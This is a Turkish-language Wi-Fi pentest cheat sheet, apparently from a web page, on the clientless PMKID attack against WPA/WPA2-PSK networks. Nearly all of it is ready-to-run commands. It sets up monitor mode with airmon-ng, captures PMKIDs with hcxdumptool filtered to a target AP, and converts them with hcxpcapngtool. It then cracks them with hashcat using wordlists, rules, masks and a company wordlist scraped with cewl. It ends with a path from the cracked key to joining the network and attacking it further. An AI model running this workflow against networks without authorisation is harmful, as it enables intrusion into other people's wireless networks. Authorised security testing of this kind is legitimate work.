Skip to content

PMKID Saldırısı (clientless)

WPA2 clientless

WPA2 clientless

PMKID saldırısı, bazı AP’lerin RSN IE içinde (ilk EAPOL çerçevesinde) PMKID göndermesinden yararlanır. Böylece bağlı istemciye ve deauth’a gerek kalmadan kırma malzemesi toplanabilir — gece boş ofis veya clientless hedef için pratiktir. hashcat mode 22000 hem PMKID hem EAPOL’ü kapsar.

- hcxdumptool + hcxpcapngtool (hcxtools)
- Monitor mode arayüz
- Hedef AP RSN PMKID sunuyor olmalı (tüm AP'ler sunmaz)
- WPA/WPA2-PSK; WPA3-SAE bu akışa uymaz
PMK = PBKDF2-HMAC-SHA1(PSK, ESSID, 4096, 256)
PMKID = HMAC-SHA1-128(PMK, "PMK Name" || MAC_AP || MAC_STA)
AP association sırasında PMKID'yi gönderirse → offline PSK denemesi mümkün

İstemci etkileşimi hcxdumptool tarafından sahte association ile tetiklenebilir; gerçek kullanıcı gerekmez.

  1. hcxdumptool ile yakala :

    Terminal window
    sudo airmon-ng start wlan0
    Terminal window
    sudo hcxdumptool -i wlan0mon -w pmkid.pcapng --enable_status=15
    Terminal window
    echo "aabbccddeeff" > ap.list
    Terminal window
    sudo hcxdumptool -i wlan0mon -w pmkid.pcapng \
    --enable_status=15 --filterlist_ap=ap.list --filtermode=2
  2. hashcat formatına çevir :

    Terminal window
    hcxpcapngtool -o hash.22000 pmkid.pcapng
    Terminal window
    hcxpcapngtool -o hash.22000 pmkid.pcapng -E essids.txt -I info.txt
    Terminal window
    cat hash.22000
    Terminal window
    grep '^WPA\*01' hash.22000
  3. Kır :

    Terminal window
    hashcat -m 22000 hash.22000 rockyou.txt
    Terminal window
    hashcat -m 22000 hash.22000 rockyou.txt -r rules/best64.rule
    Terminal window
    hashcat -m 22000 hash.22000 -a 3 '?l?l?l?l?l?l?d?d'
    Terminal window
    hashcat -m 22000 hash.22000 corp.txt -r rules/dive.rule
Terminal window
hcxpcapngtool -o hash.16800 --purehash pmkid.pcapng
Terminal window
hashcat -m 16800 hash.16800 wordlist.txt

Klasik airodump-ng + deauth EAPOL handshake toplar; PMKID clientless senaryoda hcxdumptool ile daha güvenilirdir. Karışık yakalama:

Terminal window
sudo hcxdumptool -i wlan0mon -w dump.pcapng --enable_status=15
Terminal window
hcxpcapngtool -o hash.22000 dump.pcapng
Terminal window
grep -E '^WPA\*(01|02)' hash.22000
Terminal window
cewl https://www.target.com -m 6 -w cewl.txt
Terminal window
hashcat -m 22000 hash.22000 -a 3 'Company?d?d?d?d'

PMKID kırma maliyeti handshake ile aynıdır (PBKDF2); GPU şart.

Terminal window
hcxdumptool ... # hepsini topla
Terminal window
hcxpcapngtool -o all.22000 dump.pcapng -E essids.txt
Terminal window
hashcat -m 22000 all.22000 wordlist.txt --username
AP PMKID göndermiyor → klasik handshake'e dön
WPA3 only → SAE; bu saldırı yok
Zayıf sinyal / yanlış kanal → filter + kanal sabitle
Boş hash.22000 → daha uzun dinle; RSN IE kontrolü
Sadece WPA*02 → aslında EAPOL yakalandı; yine 22000 kır
Terminal window
sudo iw dev wlan0mon set channel 6
Terminal window
tshark -r pmkid.pcapng -Y 'wlan.rsn.ie.pmkid' -V | head

hcxdumptool · PMKID

embedded tool
Generated command
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
wash/airodump → hedef BSSID
→ hcxdumptool filterlist_ap
→ hcxpcapngtool → WPA*01*
→ hashcat 22000 + şirket wordlist
→ PSK → nmcli connect → network pentest
PMKID yok → deauth + airodump handshake
→ aynı hashcat 22000 pipeline